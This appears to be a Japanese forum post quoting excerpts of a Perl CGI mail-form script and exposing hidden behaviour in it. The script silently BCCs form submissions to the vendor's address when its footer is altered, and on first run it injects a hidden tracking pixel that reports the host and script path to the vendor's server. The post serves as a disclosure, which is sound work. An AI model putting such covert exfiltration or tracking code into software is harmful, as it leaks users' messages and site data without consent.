- 282 名前：nobodyさん mailto:sage [04/06/12 03:00 ID:???]
- 該当部分
(1)
if($footer !~ /Web-UP/ or $ver !~ /Num-Mail v1.04/)
{ $bcc = 'bad@web-up.cside.biz'; $bad = 1; }
(2)
if(!open(TEMP,"$temp_file")){ &error('一時ファイルが開けませんでした'); }
$TEMP = <TEMP>;
close(TEMP);
if($TEMP eq ''){
my $H = $ENV{'HTTP_HOST'};
my $S = $ENV{'SCRIPT_NAME'};
$PAGE = <<EOF;
<script type="text/javascript" language="JavaScript">
<!--
（略。IMG使ってアク解仕込んでる）
// -->
</script>
<noscript>
<img src="web-up.cside.biz/cgi/use/ac.cgi?pg=$H$S" width=1 height=1 border=0>
</noscript>
EOF
$bcc = 'start@web-up.cside.biz;'.$bcc;
}
#(2)は「送信ボタン2度押し検出」だそうだ
#「一時ファイル」に最後に送信したUAやホストを記録してる
|
 |
